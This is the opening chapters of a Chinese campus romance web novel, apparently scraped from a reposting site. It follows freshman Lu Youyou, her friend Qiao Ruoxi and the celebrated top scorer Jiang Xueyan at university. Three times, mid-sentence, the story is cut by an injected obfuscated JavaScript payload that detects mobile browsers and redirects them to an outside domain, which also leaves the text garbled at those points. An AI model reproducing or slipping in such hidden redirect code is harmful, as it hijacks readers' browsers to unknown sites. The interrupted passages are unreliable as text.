《时光与你，恰到好处［校园]》 1. 第一章 《时光与你，恰到好处》 晋江文学城/梨悠然 南大开学那天，太阳像一块烧红的烙铁悬在空中，梧桐树叶被晒得卷了边，蔫蔫地垂在枝头。 路悠悠和乔若溪身着闺蜜装——天蓝色A字连衣裙，在炎炎烈日下拖着行李箱四处奔走登记，两张白嫩的脸被空气中的热浪灼得红彤彤的。 “见鬼，明明早上出门的时候还是阴天，怎么一到学校就出太阳了，老天爷是不是嫉妒我的美貌……” 乔若溪一手用社团宣传单遮住头顶的太阳，一手拖着行李箱埋怨天气，话刚说到一半，对面走过来的女生忽然尖叫起来—— “啊！” “江雪岩！那是江雪岩！” 她的嗓门堪比扩音器，话音刚落，方圆五十米内瞬间炸开了锅。 “江雪岩？是不是咱们南省今年的高考状元？” “奶茶状元江雪岩！” “就是他，那是学校专门派出去接各地状元的荣耀80……” “……” 路悠悠和乔若溪后知后觉反应过来，停下脚步往身后看去—— 远处停着一辆车，车旁围着一圈人，那圈子在她们转身的几秒内以肉眼可见的速度迅速扩大。 路悠悠盯着那圈人足足一分钟，直到身旁人把拖着行李箱的手放开，恹恹搭到她肩上：“真的是江雪岩吗？好家伙，好大的阵仗！” 路悠悠木讷地点头：“没看到人，看这阵仗应该是他。” 乔若溪苦着脸摇头，天蓝色的连衣裙在阳光下显得格外耀眼：“老天不公啊，我们两个弱女子在这大太阳底下‘拖家带口’地跑了大半天，他一个精壮小伙子却吹着空调姗姗来迟，还被人吹捧成这样……唉！” “没办法，谁让你高考没考过人家”，路悠悠狡黠一笑，天蓝色裙摆随风轻晃。 乔若溪撇撇嘴：“大姐，我这辈子就是重新活一遍也不一定能考的过他，不过你呢，你这个年级第一为啥没能考过他？” 路悠悠耷拉下脑袋，细软的头发从耳边滑落：“不是跟你说过了，来例假了不舒服，最后一道题压根没时间做，整整10分啊！” 乔若溪也跟着叹气：“唉，没事没事，虽说这第一名和第九名的待遇相差确实有点大，不过……在私底下，训他第一名的不还是你嘛，咱们南省高考第九名，路悠悠。” “我哪敢？” “怎么不敢，这个世界上只有你能训他你没发现？” 路悠悠眯着眼睛看着密密麻麻围着江雪岩的人群，心里有些闷的慌。 远处的人工湖在烈日下泛着粼粼波光，几株垂柳无精打采地立在岸边。 路悠悠看了一阵，悻悻转过头来：“那是以前，今时不同往日，路悠悠已经没落了……咦，宿管那里排队的人少了很多，咱俩快去交住宿费！” “真的耶，多亏奶茶状元引流！” …… 江雪岩如此受欢迎绝不仅仅因为他是南省的高考状元。 高考出分后，状元的照片被人贴到网上，在一般人的理念中，学习好的学生往往长相稀松平常，但江雪岩却是例外中的例外。 那是一张在KTV唱歌的照片，江雪岩身着蓝色渐变卫衣，衣领随意地立着，衬得他脖颈线条格外修长。 一头短发剪的恰到好处，他拿着话筒笑得开怀，眼睛弯弯眉眼柔和，眼神清澈干净，是个十分端正标准的大帅哥。 这张夺目耀眼的状元照不仅吸引了大批记者，甚至还吸引了一些星探。 一时间，江家的门槛快被踏破，可江雪岩却迟迟没有出现在大众视野里，只有他的父母偶尔出来讲一讲培养状元儿子的心得。 然而神奇的是，开学前几日，一则“状元奶茶”广告席卷南省。 大屏幕上，穿着白色衬衫的江雪岩左手插兜，右手握着奶茶，衬衫袖口挽至手肘，露出线条流畅的小臂。身材轮廓挺拔修长，看起来比之前在KTV唱歌的时候成熟很多。 随着画面推进，他唇角牵起一抹淡淡的弧度，富有张力的身姿配上那双装满是星星的桃花眼，只一瞬，便看得屏幕前面的少女们脸红心跳。 一个人能演绎出如此截然不同的两种风格，关键还帅得出奇，气质形象堪比某人气最旺的顶流男星，一时间，状元江雪岩在南省家喻户晓。 …… 江雪岩今日只穿了一件简单的黑色T恤，却衬得他肩宽腰窄的身材更加出众。 从车上下来时，他远远瞥见不远处站着两个熟悉的背影，但很快，视线便被话筒和人群挡住。 阳光在他棱角分明的侧脸上投下淡淡的阴影，一闪而过的落寞感被摄像头无意间捕捉下来。 当天，又一张“忧郁男神照”带火了南大校园论坛。 * 路悠悠和乔若溪在忙碌了大半天后，终于躺在了宿舍的床上。 两人是高中好友，一起努力奋斗考进了南大信息院，为了住在同一个宿舍，又专门约好时间一起来注册。 “好险好险，再差一分我就不能跟你们在一个学院了！” 乔若溪盯着天花板，脑海中还是那张信息院新生高考分数排名表，江雪岩作为状元，毫无疑问排在第一，路悠悠第二，而她是倒数第一。 “好在你成功拿下了那一分”，路悠悠笑道，她已经换上了舒适的棉质短袖，整个人陷在柔软的床铺里。 乔若溪看向她，眼底闪着感激：“不枉费这三年来你的悉心教导吧，路老师？” 路悠悠摸了摸下巴，假装捋了捋胡须，点点头道：“嗯，孺子可教也！” “哈哈哈……” 爽朗的笑声充满学生宿舍，笑了一阵后，乔若溪忽然冷不丁道：“你说……江雪岩会不会喜欢你啊？” 路悠悠吓了一跳：“怎么可能？你脑子进水了？” “不是”，乔若溪若有所思，手指无意识地卷着被角，“我只是觉得你俩最近一段时间的状态像极了小情侣闹别扭。” “谁说的？”路悠悠从床上坐起来，短发有些凌乱，“好朋友闹别扭也是这样子吧！再说了，我才刚刚失恋。” “失恋”二字像突然抽走脊椎的刀，路悠悠瞬间塌陷回枕头，发丝陷在印着可爱图案的鹅绒枕里。 “也是，我也就那么一说。” 乔若溪决心不再触碰好友的旧伤疤，此刻只能缩回到被子里。 晚饭后，乔若溪一直在跟家里视频，路悠悠穿着拖鞋出门，一个人慢悠悠踱向了操场。 夏末的晚风带着凉意，轻拂过路悠悠有些凌乱的及肩短发，她低着头，看自己的影子被路灯拉长又缩短，鞋底摩挲着地面，发出细微的沙沙声。 远处的霓虹灯闪烁不定，与天边几颗疏朗的星子遥相呼应。 路悠悠深吸一口气，夜间的空气沁人心脾，叫她紧绷了一日的神经稍稍松弛下来。 不过这松弛感很快就被人打断。 走了一会儿，她在操场边梧桐树的阴影下，碰到了她此刻最不想看到的两个人——失恋对象沈嘉树，和他的女朋友刘绫。 沈嘉树穿着件干净的白色衬衫，身形清瘦，而刘绫一袭鹅黄色连衣裙，微卷的长发披在肩头，脸上妆容精致。 路悠悠假装没看见他们，耷拉着眼皮想从旁边绕过，刘绫却笑嘻嘻地挽住沈嘉树的手臂，转身甜腻地喊她：“嗨悠悠，这么巧啊！” 路悠悠：“……” 真是倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507439|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了八辈子霉了，好好的空气里被人放了个臭屁。 她扯了扯嘴角，懒散地应了一声“嗯”，视线盯着地面上爬过的一只蚂蚁，只想赶紧离开。 但当她无意间瞥见前方的另一道身影时，脚步不自觉地停住了。 刘绫跟她打完招呼，笑着转向沈嘉树，用夹子音说道：“嘉树，这会儿才刚过八点，要不我们去逛逛门口的小吃街吧？我好饿呀！” 沈嘉树分明看得出刘绫是故意的，却还是配合地回了个“好”字。 微弱的恶心感从路悠悠心底升起，她看了一眼沈嘉树，瘦削少年眼神昏暗不明，也抬眼看向了她。 四目相对，路悠悠一时有些想不通，以前她到底是怎么迷上那双空洞的眼睛的。看着他欲言又止似乎装了一肚子心事的样子，路悠悠心底轻嗤一声，转过了头。 这时候，远处那道修长身影也不紧不慢走到她面前，在离她三步远的地方停了下来。月光勾勒出他利落的肩线，一身简单的黑色运动服衬得他肤色愈发白皙，棒球帽檐下露出线条清晰的下颌。 新任校草江雪岩，他这是在学明星的隐蔽打扮？ 路悠悠嘴角牵起一抹弧度，真是人怕出名猪怕壮，想不到这小子也有今天！ “在散步？” 江雪岩随手摘下帽子，额前碎发被晚风轻轻吹动，朝她露出个转瞬即逝的微笑。 “嗯，你也来散步？” 路悠悠一双杏眼微弯，琥珀色的瞳仁在月光下流转着明润的光泽，回了个同样短暂的礼貌微笑。 一人一句，像极了陌生人之间的无聊寒暄。 “你是……江雪岩？！”一旁的刘绫忽然松开沈嘉树，兴奋地小跑过来，眼睛亮晶晶的。 江雪岩抬头瞥她一眼，长腿一迈，灵活地侧身躲过她，站到了路悠悠旁边。 “走呗，去那边散，这儿人太多。” 他修长手指扯了扯路悠悠的衣服，动作自然流畅，流失了许久的熟悉感一涌而来，路悠悠忍不住抬起头，瞪向那张棱角分明的脸——昏黄路灯在他高挺的鼻梁投下小片阴影，睫毛长得不像话。 见鬼，明明初中的时候他还比她矮，如今她却要费力抬头仰视他。 这家伙高中的时候该不会跑去深山老林里去寻极速拔高的仙丹了吧？ “看什么看，没见过帅哥？”江雪岩居高临下瞅了路悠悠一眼，嘴角弯起狡黠的弧度。 路悠悠轻嗤一声，迈开步子绕过一旁发愣的刘绫：“哪里有帅哥？我只看到一个胖子。” 江雪岩看着她着急逃走的背影低笑，声音里带着磁性：“走那么快干嘛？这里又没有狗追你。” 没有狗但是有黄鼠狼啊！ 路悠悠腹诽着，嘴上催促他：“少废话，你走不走？不走我自己走了。” 话音落下的瞬间，她才注意到刘绫和沈嘉树仍僵立在原地，眼里写满了惊讶和无措…… 她怎么忽然给忘了，江雪岩是赫赫有名的奶茶状元，她刚刚对他太粗鲁了吗？ 不是，确切地说，是她对某些人太纵容了。 “你们两个”，路悠悠冷下眸子，瞥向刘绫和沈嘉树：“以后少在我面前装模作样，我们之间还没有友好到需要故意拉拢或排挤谁的地步，我之所以一再退让，是懒得跟你们计较，可你们好像对“在我面前炫耀”这件事上瘾了。” 空气凝滞三秒后，刘绫忽然从鼻腔里挤出一声冷笑："路悠悠，大家好歹同窗三年，你说话非要这么刻薄？" “刻薄吗？我一向目中无人，更看不到人以外的东西。” 说完这句，路悠悠自己都差点被自己逗笑。 为了保持最后一点礼貌，她在笑出来之前转身就走。 2. 第二章 “路悠悠你他M什么意思？”刘绫踩着高跟鞋追了半步，却被蕾丝裙摆绊了一下，“难怪嘉树当初没看上你——” 沈嘉树慌忙上前阻拦：“别说了……算了……” “咱们南大海纳百川的校训该改改了，不然什么流浪狗都能跑进来”。 熟悉的声音在身后响起，路悠悠忍不住回身看了一眼江雪岩。 刘绫还在后面骂骂咧咧，少年眼神冷冽，几步上来抬手拍了拍她的肩：“别理她，让这种人污染了你的磁场，不值。” 路悠悠闻到他身上清爽的薄荷香味，紧绷的心瞬间软下来，“嗯。” 书上说，与其跟烂人烂事纠缠，不如专注于提高自己。因为最好的报复是有一天你站在高处，看他们还在烂泥里挣扎…… 路悠悠心道：站在高处，谁还会去俯视烂泥呢？江雪岩说得对，不值，她只要走好自己的路就好。 江雪岩没有再说话，只安静地陪在她身侧。 月光如水银般倾泻，将香樟树的轮廓勾勒得格外清晰。晚风穿过枝叶，发出细碎的沙沙声，仿佛在为这静谧的夜色伴奏。 “这个世界上只有你能训他你没发现？” 乔若溪的话忽然浮上心头，路悠悠望着墙上那个比自己高出一截的影子，忍不住弯了弯嘴角。 有个状元当小弟的感觉确实不错。 可能比自己当状元，就差那么一点点。 “你傻乐什么呢？” 江雪岩看着她翘起的嘴角，也忍不住带上笑意。 夜风轻柔，两人的影子在路灯下越拉越长，像是时光悄然延伸的注脚。 路悠悠忽然觉得年岁竟过得这样快，快到江雪岩已然从一个小胖子变成人人追捧的校草。 “谢了，刚刚”，她轻声说，声音很快散在了风里。 江雪岩没说话，只偏头看向路悠悠。 光晕柔和地勾勒出她完美的侧脸，她仰头看向远处闪烁的霓虹灯，眼神清澈宁静，仿佛将周围的喧嚣都沉淀了下来。 江雪岩微微笑了笑：“还知道谢啊，学习那么好，眼光怎么那么差……” 路悠悠脚步微微一顿，虽然此刻很想揍他，但想起之前种种，她又莫名觉得自己没什么底气去反驳他。 乔若溪总说他们俩在闹别扭，可路悠悠知道，这算不上闹别扭。 没有争吵、没有冷战，只是某些说不出口的尴尬悄然横亘在两人之间，像一层薄雾，看不清、绕不过，却又真实存在着…… 她和江雪岩是小学兼初中同学。 高中虽不在同一所学校，但每到周末，她和江雪岩乔若溪，都会一起去市图书馆自习。 三人关系很铁，是实打实的死党。 而他跟江雪岩之间出现隔阂，应该要追溯到高考前两个月。 那天，三人在市图书馆自习，午后阳光透过窗户洒在桌子上。 路悠悠想起沈嘉树，心情一时有些闷，便写了几句话在纸条上，扔向对面的乔若溪。 结果不小心手一滑，纸条不偏不倚，正好砸在了趴在桌上睡觉的江雪岩脸上。 江雪岩一下子惊醒，迷迷糊糊地抬起脸，额前碎发被压得翘起一撮，怔怔地看着落在桌上的纸团，一时没反应过来。 路悠悠慌忙起身去抢纸条——毕竟铁哥们和闺蜜之间，还是有点界限的。 但江雪岩也不是一般人，砸醒了他，还要在他眼皮子底下抢走“凶器”，谈何容易。 他抬手一让，路悠悠就扑了个空。他冲她眨了下眼，低头展开纸条。才瞥一眼，就怔住了—— “我这次是铁了心，必须要跟他表白……反正剩两个月就毕业了……” “跟谁表白？” 江雪岩径直抬起头，目光幽幽地看向她。 偌大的图书馆安静得落针可闻，斜阳透过落地窗洒在书架上，将整齐排列的书籍染成温暖的金色。 所有人的目光都聚焦在她们身上，路悠悠的脸刷地一下红了。 “呵，我俩就……就开个玩笑，你别当真呀”，乔若溪连忙起身打圆场，又倾了倾身子挡住了部分投向路悠悠的视线。 十分钟后，三人尴尬地坐到了图书馆附近的奶茶店。 路悠悠气鼓鼓地盯着江雪岩，杏眼里燃着两簇小火苗：“你看看你，图书馆那么多人呢，你就不能顾及一下我的面子吗？” “要什么面子”，江雪岩冷眸一瞥，深邃的眼睛在光线下显得格外凌厉，“你一个姑娘家，主动跑去跟人表白，知道面子两个字怎么写吗？” 路悠悠：“……” 江雪岩指节分明的手捏着奶茶杯子，那双原本盛着星辰大海的眼睛居然有些渗人，目光锐利得能刮破路悠悠的脸。 路悠悠要表白的对象，就是她的同桌，沈嘉树。 那天，江雪岩修长身影倚在窗边，跟她说沈嘉树要是喜欢她会主动表白，不用她上赶着送上门去。 路悠悠当时听进去了，后来又没听进去。 忍了两周，她还是把情书塞到了沈嘉树的桌兜里。 沈嘉树的反应却与她想象的截然不同。 他把情书退还，只在背面留下一行潦草字迹——我家里情况你也知道，我配不上你。 路悠悠急忙又回——不就是你妈妈生病了嘛，不要因为这个自卑，你很好的。 在路悠悠心里，沈嘉树虽然有些孤僻，但人很好。 以前，同学在教室打闹时不小心打碎了路悠悠的杯子，虽然她笑着跟同学说没关系，但她落寞的神情被沈嘉树捕捉到。 “怎么了？”沈嘉树问。 路悠悠告诉她：“那是我最喜欢的杯子，上面印着罗小黑。” 过了几天，沈嘉树竟然买了一模一样的杯子送给她，天知道看到沈嘉树拿出杯子那一刻，她心里有多暖，少年腼腆干净的笑容从那一天起，就印在了她的脑海中。 沈嘉树家境贫寒，父亲爱喝酒脾气大，母亲得了肺结核，刚做完手术。 在17岁的少女心里，家境、出身都不如一颗赤子之心来得重要。 但她高估了沈嘉树的赤子之心。 班里有个叫刘绫的富家女，长得一般，学习一般，人也一般，还老爱跟路悠悠对着干。 也是那天，路悠悠看到刘绫给沈嘉树递情书。 刘绫这种喜欢作天作地的小人，沈嘉树怎么可能看得上？路悠悠嗤之以鼻。 但现实很快打肿了她的脸。 快放学的时候，刘绫突然跑来亲昵地挽起沈嘉树的胳膊，以胜利者的姿态瞥向她，用夹子音说道—— “嘉树，今天是我们在一起的第一天，晚上一起去吃西餐庆祝一下吧？” 沈嘉树：“好。” 震惊的路悠悠愣在了原地…… 那天之前，她把所有美好的品质都加在了沈嘉树身上，却忽略了自己从未真正了解过他。 当他跟刘绫挽着手从她面前消失的那一刻，路悠悠心中的火焰瞬间被现实浇灭，她的心也仿佛被冰锥刺了一下。 像是被最信任的人彻底背叛。 沈嘉树用最直接的方式证明了他不配。 此后两个月，路悠悠装作什么也没发生，依旧与同学们谈笑风生，除了沈嘉树。 同桌变成了坐在一张桌子上，最陌生的人。 她默默忍受着悄无声息的痛苦，彻底认清一个人，结束了一段青春的幻想。 那段日子，江雪岩虽然话少，但也经常陪她上自习，给她买喜欢的唱片和零食，无声地鼓励着她。 到了高考前几天，学校放了假，路悠悠喊江雪岩陪她去逛街。 十七岁的青葱少年眉如墨画，鼻梁高挺，神情懒散地翘着逆天大长腿倚在沙发椅上，一双桃花眼淡淡看着她来来回回挑衣服，眼神锐利如刀，唯有笑起来的时候才会柔和似水。 “这件怎么样？” 路悠悠挑出一件印有皮卡丘的白色T恤，笑盈盈转向他。 她容貌清秀，置身人群中并不十分耀眼，可一旦笑起来，整个人便如云开月现般明亮皎洁。 江雪岩目光从她脸上慢慢移到她手里的T恤上，一时怔住：“男款？你给谁买？” 路悠悠眨眨眼，眸中闪着狡黠的光：“你管我给谁买，你帮我试试就是了。” 江雪岩一脸不耐烦，眉头微蹙：“这么幼稚，谁会穿？” 路悠悠鼓着两个腮帮子气呼呼跑过来把他从椅子上拉起，蛮横地推着他进了试衣间：“哪里幼稚了，明明很有个性的好不好……” 那件皮卡丘T恤，是路悠悠打算送给江雪岩的生日礼物，但后来发生了一点小意外—— 6月8号下午，路悠悠和乔若溪牵着手走出高考考场时，江雪岩这个手速怪不知提前多久答完的题，就站在考场不远处的树底下等她们。 他身形修长挺拔，如春日初抽的新竹，尚未完全舒展，却已显出不俗的风姿，引得周围少男少女频频侧目。 “老天不公啊，这家伙好像又长高了”，路悠悠侧过头对着乔若溪酸溜溜地说。 “不是好像，就是长高了”。 乔若溪话音刚落，就听见有人在身后喊路悠悠的名字。 二人转身，居然看见沈嘉树站在后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507440|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 路悠悠一时愣住，因为沈嘉树穿了一件白色T恤，上面印着黄色的皮卡丘，跟她那天和江雪岩逛街时买的T恤是同款。 “……” 静默几秒，沈嘉树拿着一张准考证上前：“你的准考证落教室了。” 路悠悠淡然地看着他手里的准考证，没说话。 身旁乔若溪咬着后槽牙冲沈嘉树道：“都考完了，反正也用不着了，丢了就丢了呗。” 沈嘉树小心翼翼看了路悠悠一眼，低下头说：“毕竟是高考，留个纪念吧。” “谢谢”，路悠悠木然接过，拉着乔若溪转身，一晃神才发现，树底下站着的少年不知何时已走到了他爸妈的车旁边，只远远冲她们招了招手，便转身上了车…… 暑假，原本三人约好要一道去好几个地方玩，但江雪岩跟着他爸妈去了新疆和西藏旅游。 偶尔三人一起开黑或视频聊天，江雪岩也明显有些心不在焉，看起来很累的样子，不大说话。 那件皮卡丘T恤，路悠悠一直没送出去，自从她那天看到沈嘉树穿了同款，就觉得那件衣服丑极了。 加上江雪岩生日的时候还在外面旅行，她就说生日礼物等他回来再补。 整个暑假，她不止一次怀疑，江雪岩是不是误会她把那天让他试穿的T恤送给了沈嘉树，所以才生气。 但转念一想，江雪岩又不是她男朋友，应该不至于因为这个生气，她要是专门给他解释这件事，好像也挺突兀的。 何况，江雪岩似乎也没有刻意不理她，他对乔若溪也爱搭不理的…… 而此刻，那个忽然冷淡了她一个暑假的人，与她并肩站在操场，对她说：“学习那么好，眼光怎么那么差？” 是了！路悠悠恍然大悟，这家伙暑假突然变得淡漠，肯定是嫌弃她既没眼光又没脑子。 不让她去表白，她偏要去，结果被沈嘉树弄得像个笑话。 变成笑话还不够，她还要拉着他满大街地去买衣服给沈嘉树…… 对啊！他不是因为沈嘉树那身衣服而生气，他是气她太窝囊，太没脑子，太没尊严！ 妥妥的恨铁不成钢啊！ “胖子，我前段时间是不是像个扶不起的阿斗？” 江雪岩看她一眼，眸中闪过一丝光亮，如同夜空中划过的流星：“你还算有点儿自知之明。” 路悠悠闻言抬起头，两只手忽然弯成九阴白骨爪，青面獠牙地抓向江雪岩的手臂：“你-说-什-么，你居然敢嘲笑你的恩师！” 江雪岩被她逗笑了，退了几步后，他忽然伸手抓住她乱挥的手，控制住她小鬼乱踢的动作。距离瞬间拉近，路悠悠看着比自己高一个头的人，翻着白眼往前蹭：“干什么，你想反了不成，别忘了你这状元是怎么来的！” “怎么来的？” 江雪岩挑眉靠近，熟悉的薄荷味从四面八方涌来，看着那张熟悉又陌生的俊脸，路悠悠心虚地往后仰了仰头。 十八岁了，她忽然发现江雪岩身上无端生出几分男人的凌冽感来。 难道是因为高考没考过他，被他压了一头的缘故？ “就……还不是因为我以前每周末都给你讲题，不然你能当上高考状元？” 路悠悠说出这话，又雄赳赳气昂昂地往前顶了一下，隔着空气，江雪岩在气势上败下阵来。 “你说得有点道理”，他放开她的手，敏捷地后退几步，弹到了离她两米开外的安全距离。 路悠悠粲然一笑：“知道就好。” “对了，不是说要给你补送生日礼物吗？去我宿舍楼下拿吧？” “嗯”，江雪岩微微低着头，没什么多余的表情，但经过刚才那一闹，两人在整个暑假积蓄的陌生感已消散大半。 星光闪烁，江雪岩大抵是觉得自己太耀眼，特意躲在宿舍楼下树木丛中的阴影里等她。月光透过枝叶的缝隙，在他身上洒下斑驳的光点。 路悠悠气喘吁吁地跑下楼，浑身洋溢着鲜活的气息，一双眼睛灵动如待绽放的花苞，皮肤白皙，透着淡淡的粉色。 她把一个黄色印花的手提袋递给江雪岩，仰起脸露出浅浅梨涡：“有两个礼物，一个是很早之前买的，怕你不喜欢，后面又买了一个，都给你。” 江雪岩眼波微动，抬起手往袋子里瞟了一眼：“为什么会不喜欢？” 路悠悠若有所思：“嗯——就是怕你觉得幼稚”，说完她挥了挥手，转身往宿舍楼走去：“你回去再打开吧。” 手提袋里装着的，是最新款的头戴式电竞耳机，还有那件江雪岩曾经试穿过的白色的、印着皮卡丘的可爱T恤。 3. 第三章 南大坐落在南省省会城市的老城区，梧桐成荫，红砖建筑爬满藤蔓，是全国数一数二的学府，计算机系更是全国排名第一。每到黄昏，夕阳穿过梧桐叶洒在校园小径上，总有三两学子抱着书本匆匆走过，奔赴各自的梦想。 江雪岩和路悠悠早在高二时就定下了南大计算机系的目标，乔若溪不想跟最好的朋友分开，于是开始不遗余力地学习，最终成功跟上了学霸们的脚步，凭倒数第二名的成绩成功挤入南大信息院计算机系。 路悠悠回到宿舍时，乔若溪跟她父母姑姑婶婶都打完了视频，正趴在床上玩手机。 见路悠悠进来，乔若溪一脸姨母笑看向她：“江雪岩去找你了？” “你怎么知道？”路悠悠话刚出口，就发现宿舍另外两个女生，王涵和李悦惊讶地朝她看了过来。她下意识理了理被风吹乱的头发，走到自己的书桌前坐下。 “江雪岩！是奶茶状元江雪岩吗？” “是他吗？” 李悦指尖轻点，将桌上的笔记本电脑屏幕朝路悠悠的方向一转。路悠悠长睫微颤，目光落在屏幕上那张引发无数热评的忧郁男神照上。 少年目光柔和，眼瞳深处却藏着一丝落寞，下颌线条收得极紧，两片薄唇紧抿如刀锋，身材瘦削挺拔，分明是受人追捧的天之骄子，却莫名透着一股孤绝之感，仿若刚刚贬下凡间的少年神君。 “这小子现在长得真够绝的，比电视剧上的男主角还要帅一点点”，路悠悠心道。 “就是他，他是悠悠的发小”，乔若溪从床上探出头，替她回答。 江雪岩是路悠悠的发小，不是她的。 她在高中的时候，跟路悠悠一道去市图书馆自习，才认识的江雪岩。 那时候江雪岩还略微有点胖，没现在这么高，但已初具校草雏形，乔若溪看他话不多，但对路悠悠却是极好，便怂恿路悠悠跟江雪岩谈恋爱，但路悠悠直接拿她当傻子，无情地拒绝了她。 高三的时候，江雪岩的外形条件已完全盖过了他们学校的校草。 乔若溪还发现，江雪岩虽然外表看着淡漠，其实有一颗热心肠，而且有魄力有人品，不世俗不矫情，于是忍不住又悄悄怂恿路悠悠：“江雪岩长高后身形外貌简直一绝，对你又好，你俩谈恋爱得了，兔子要是不吃窝边草，就得让给别人给吃了，这么好的男人，多可惜啊！” 结果路悠悠告诉她，她有喜欢的人了，是她的同桌沈嘉树…… * “江雪岩是路悠悠的发小？！” “真的吗？” “真的……” “啊！” “啊！” 宿舍里响起一阵尖叫声，接着两个迷妹便围着路悠悠打听起神的传说。 乔若溪原本还想跟路悠悠单独说几句话，结果一直等到了十点多也不见那两个迷妹放过路悠悠。 最后还是她灵机一动，给路悠悠发了微信，路悠悠借口家里有事才得以脱身。 两个同寝室的好友，还得在线上偷偷聊天，跟做贼似的。 乔若溪：［江雪岩找你不会是来表白的吧？］ 路悠悠：［怎么可能！你脑子又进水了？］ ［不对，你怎么知道他来找我了？］ 乔若溪：［他给我发消息了，问你在不在宿舍，我说你去操场散步了］ 路悠悠：［哦～他居然不问我］ 原来不是偶遇，江雪岩是专门来操场找她的，肯定是觉得暑假里做的太过了，心虚。 乔若溪：［他还问我，沈嘉树考去哪个学校了］ 路悠悠：［嗯？他问这个做什么？］ 乔若溪心里想：我就是觉得他喜欢你。 乔若溪打出来的字：［不知道，可能怕你被狗子继续伤害吧］ 路悠悠：［……你俩还背着我说了什么？］ 乔若溪：［我如实告诉他，狗子也考上了南大，狗屎在隔壁的B大，俩人都是边角学院边角专业，唉！要不是南大在咱市里招的人超多，狗子那种的才不会有机会进南大的门呢！］ 路悠悠被她逗笑了，乔若溪继续：［后来他居然问我，你跟沈嘉树现在怎么样了，哈哈，他说你个傻子清醒了没有］ 路悠悠脸上的笑容瞬间凝固，她低头，咬牙切齿地在手机屏幕上狂点：［怪不得他不直接问我，原来是觉得我是傻子我不配！］ ［好马都不吃回头草，何况沈嘉树不是草，是屎］ 乔若溪：［哈哈哈哈哈……］ 路悠悠：［那你怎么跟他说的？］ 乔若溪：［我就认真且详细地回复了他啊，我说你原以为沈嘉树是个纯良的，表白后顶多就是不喜欢你，还可以做朋友，后来才发现，他连做人最基本的东西都没有，直接惹得你怒吼——丫的，回他的茅坑里去吧！谁跟坨屎做朋友！］ 路悠悠：［……］ ［倒也不用这么详细］ 乔若溪：［他这么关心你的感情状态，你就没有半点那方面的感觉？］ 路悠悠想了想，回她：［没有，正常吧，要是他被一个女的这么对待了，我肯定把那女的……算了，他活该］ 果然，江雪岩暑假里的淡漠，是因为他觉得她跟沈嘉树还有瓜葛，因为她的傻气让他敬而远之。 乔若溪：［哈哈哈……］ ［话说回来，还伤心吗悠悠？］ 路悠悠转瞬就给她回了个“开心”的可爱表情：［其实也不算伤心，反而是那种被信任的人背刺后的震惊和难过，现在已经完全被本开心果宝宝解决了。］ 乔若溪：［抱抱，你还有我呢，还有基因突变男神岩帅！］ 路悠悠放下手机躺在床上，月光透过窗帘缝隙洒在她脸上，泛起一层淡淡的银辉。她想起今天在操场，沈嘉树看她的眼神。 或许……沈嘉树根本不喜欢刘绫，只是想用这种极端的方式拒绝她。 他跟刘绫在一起后，也曾向路悠悠示好，企图跟她成为朋友。 但……他的行为给路悠悠带来的震撼太大，他身上暴露出的懦弱和自私太过直白，已让她无法说服自己去接受这样一个朋友。 人心难测，路悠悠想。 而江雪岩……虽然他跟以前已经大不相同，但她希望他们永远是好朋友。 * 第二天晚上，计算机系没有课，三人组约好一道去吃火锅，江雪岩还带了个男生出来，说要介绍给她俩认识。 两个女生姗姗来迟，隔着玻璃，路悠悠看到那个熟悉的身影——江雪岩坐在窗边，翘着大长腿，百无聊赖地躺在沙发里看手机，时而抬头看看窗外。他今天穿了件简单的黑色T恤，衬得皮肤更加白皙，碎发随意散在额前，颇有几分不羁的意味。 天色已暗，火锅店里灯火通明，路悠悠从外面往里看，内中光景一览无余，江雪岩却看不到她们。 也许是变瘦了的缘故，江雪岩那张天赐的俊脸莫名又多出几分攻击性，是那种让女生看了第一眼，还想看第二眼的攻击性。 “啧啧……我太牛了，居然跟校草是铁哥们，我忽然有个大胆的想法”，乔若溪看着窗边的江雪岩兴奋道，她今天穿了条淡黄色的连衣裙，衬得整个人明媚又可爱。 路悠悠：“什么想法？” 乔若溪卖了个关子：“走，进去说。” 二人推门而入的瞬间，江雪岩起身冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507441|186140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们招手。他这一站，周围几桌女生的目光都不由自主地聚焦过来。 “早看到你了，奶茶状元这么亮的牌子就在你头上挂着呢！”走得近了，乔若溪忍不住开口打趣江雪岩。 她和路悠悠从门口走到桌子边的路很短很短，但收到了很多很多瞥向她们的目光。 江雪岩笑了笑，目光越过乔若溪，瞥向她身后的路悠悠。她今天穿了件浅蓝色衬衫，下身配牛仔裤，简单又好看。短发整齐地停驻在肩头，蓬松的发尾带着自然的弧度，轻柔地贴在线条柔和的下颌角，显得十分温润娴静。 